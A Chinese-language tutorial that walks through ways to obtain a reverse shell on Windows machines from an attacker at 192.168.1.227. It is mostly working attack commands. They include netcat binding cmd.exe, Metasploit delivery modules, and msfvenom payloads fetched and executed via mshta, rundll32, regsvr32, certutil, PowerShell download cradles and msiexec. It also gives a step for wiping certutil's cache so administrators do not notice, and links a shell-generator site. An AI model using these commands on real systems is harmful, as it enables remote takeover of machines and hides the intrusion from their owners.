Windows 反弹 shell

以下本地环境攻击机的 IP :192.168.1.227

介绍几种 Windows 反弹 shell 的方式,有的是 win 系统自带,有些是第三方工具/脚本,实战中根据情况选择使用。

一、NC 反弹 shell

先把 nc 上传到目标 windows 机器

NC 正向 shell
  • 被控端:

    1
    nc -lvvp 6666 -e cmd.exe
  • 控制端:

    1
    nc 192.168.1.62 6666
  • 原理:
    被控端将cmd.exe重定向到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell

NC 反向 shell
  • 控制端:

    1
    nc -lvvp 6666
  • 被控端:

    1
    nc -e cmd.exe 192.168.1.227 6666
  • 原理:
    被控端将cmd.exe重定向到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell。

二、Mshta 反弹 shell

Mshta.exe 是用于负责解释运行 HTA(HTML应用程序)文件的 Windows OS 实用程序。 可以运行 JavaScript 或
VBScript 的 HTML 文件。

1. 通过 Metasploit 的 hta_server模块发起 HTA 攻击
1
2
3
4
5
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.227
msf exploit(windows/misc/hta_server) > exploit –j

mshta.exe http://192.168.1.227:8080/gwm6lZr.hta

在目标机器上命令行中使用 mshta 执行 msf 生成的 URL,msf 就能获得 session

1
mshta.exe http://192.168.1.227:8080/gwm6lZr.hta
2. 通过 Msfvenom 生成恶意 HTA 文件发起攻击

先使用 msfvenom 生成一个恶意 hta 文件

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.227 lport=4444 -f hta-psh -o 1.hta

msf 建立一个反向监听

1
msf5 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.227 -P 4444

python 开启web服务,使目标机器可以访问这个恶意文件

1
python –m http.server 8000

在目标机器上命令行中使用 mshta.exe 请求并运行攻击机器上的 hta 文件

1
mshta.exe http://192.168.1.227:8000/1.hta

三、Rundll32 反弹shell

Rundll32.exe与Windows操作系统相关,它允许调用从DLL导出的函数(16位或32位),并将其存储在适当的内存库
中。

通过 Metasploit 的 smb_delivery 模块发起Rundll32攻击
1
2
3
4
5
use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.227
msf exploit(windows/smb/smb_delivery) > exploit –j

rundll32.exe \\192.168.1.227\obmPU\test.dll,0

在目标机器命令行中执行 msf 生成的这条命令,msf 就能获得 session

1
rundll32.exe \\192.168.1.227\obmPU\test.dll,0

四、Regsvr32 反弹shell

Regsvr32.exe是一个命令行应用程序,用于注册和注销OLE控件,如Windows注册表中的dll和ActiveX控件。

Regsvr32.exe安装在Windows XP和Windows后续版本的 %systemroot%\System32 文件夹中。

语法: Regsvr32 [/s] [/u] [/n][/i[:cmdline]] <dllname>

1
2
3
4
/u - 注销服务器
/i - 调用DllInstall传递一个可选的[cmdline];当它与/u一起使用时,它调用dll来卸载
/n - 不要调用DllRegisterServer; 此选项必须与/i一起使用
/s - 沉默; 不显示消息框`

msf 使用 web_delivery 模块,设置参数并执行,生成一条 regsvr32 命令

1
2
3
4
5
6
7
8
use exploit/multi/script/web_delivery
msf exploit (web_delivery)> set srvhost 192.168.1.227
msf exploit (web_delivery)> set target 3
msf exploit (web_delivery)> set payload windows/x64/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.227
msf exploit (web_delivery)> exploit –j

regsvr32 /s /n /u /i:http://192.168.1.227:8081/du3uxIZOGuCH0ZV.sct scrobj.dll

在目标机器命令行中执行 msf 生成的这条命令,msf 就能获得 session

1
regsvr32 /s /n /u /i:http://192.168.1.227:8081/du3uxIZOGuCH0ZV.sct scrobj.dll

五、Certuil 反弹shell

Certutil.exe是作为证书服务的一部分安装的命令行程序。可以使用此工具在目标计算机中执行恶意的exe文件以获得meterpreter会话。Certutil 也常用来向目标机器上传文件

msfvenom 生成一个恶意的 exe 文件

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.227 lport=1234 -f exe > shell.exe

msf 建立一个反向监听

1
msf5 > handler -p windows/meterpreter/reverse_tcp -H 192.168.1.227 -P 1234

python 开启web服务,使目标机器可以访问这个恶意文件

1
python –m http.server 8000

在目标机器上命令行中使用 certutil.exe 请求并运行攻击机器上的 exe 文件, & 符号之前是在上传文件,& 符号之后的 shell.exe 是上传完毕后执行它

1
certutil.exe -urlcache -split -f http://192.168.1.227:8000/shell.exe shell.exe & shell.exe

需要注意的是,使用 certutil 上传文件会在目标机器上留下缓存,防止管理员发现可以使用下面命令清除缓存

1
certutil.exe -urlcache -split -f http://192.168.1.227:8000/shell.exe delete

六、Powershell 反弹shell

1. 通过 PowerShell 发动 Powercat 攻击

Powercat是PowerShell本地后门侦听器和反向shell工具,也称为修改版本的netcat,因为它集成支持经过编码的
有效载荷。

下载 powercat.ps1:

1
git clone https://github.com/besimorhino/powercat.git

攻击机使用 nc 监听 1234 端口

1
nc -lvvp 1235

python 开启web服务,使目标机器可以访问这个 powercat.ps1

1
python –m http.server 8000

在目标机器上执行 powershell 命令,攻击机上 nc 就能看到反弹的 shell

1
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.227:8000/powercat.ps1');powercat -c 192.168.1.227 -p 1235 -e cmd"
2. 通过 PowerShell 启动 cscript.exe 攻击

PowerShell 允许客户端通过执行 cscript.exe 来运行 wsf、js 和 vbscript 脚本。

先使用 msfvenom 生成一个 vbs 恶意文件

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.227 lport=1234 -f vbs > 1.vbs

msf 建立一个反向监听

1
msf5 > handler -p windows/meterpreter/reverse_tcp -H 192.168.1.227 -P 1234

python 开启web服务,使目标机器可以访问这个 1.vbs

1
python –m http.server 8000

在目标机器上执行以下命令,msf 就可以看到反弹的session

1
powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.1.227:8000/1.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""
3. 通过 PowerShell 启动 bat 文件攻击

PowerShell 允许客户端执行 bat 文件。

先使用 msfvenom 生成一个 bat 恶意文件

1
msfvenom -p cmd/windows/powershell_reverse_tcp lhost=192.168.1.227 lport=1234 > 1.bat

msf 建立一个反向监听

1
msf5 > handler -p windows/meterpreter/reverse_tcp -H 192.168.1.227 -P 1234

python 开启web服务,使目标机器可以访问这个 1.vbs

1
python –m http.server 8000

在目标机器上执行以下命令,msf 就可以看到反弹的session

1
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.227:8000/1.bat')"

七、Msiexec 反弹 shell

Windows 系统安装有一个 Windows 安装引擎,MSI 包使用 msiexe.exe 来解释安装。

先用 msfvenom 生成一个恶意 msi 文件

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.227 lport=1237 -f msi > 1.msi

msf 建立一个反向监听

1
msf5 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.1.227 -P 1237

python 开启web服务,使目标机器可以访问这个 1.vbs

1
python –m http.server 8000

在目标机器上执行以下命令,msf 就能获取反弹的 session

1
msiexec /q /i http://192.168.1.227:8000/1.msi

其他:在线生成 shell 的网站
https://krober.biz/misc/reverse_shell.php?ip=218.70.84.146&port=443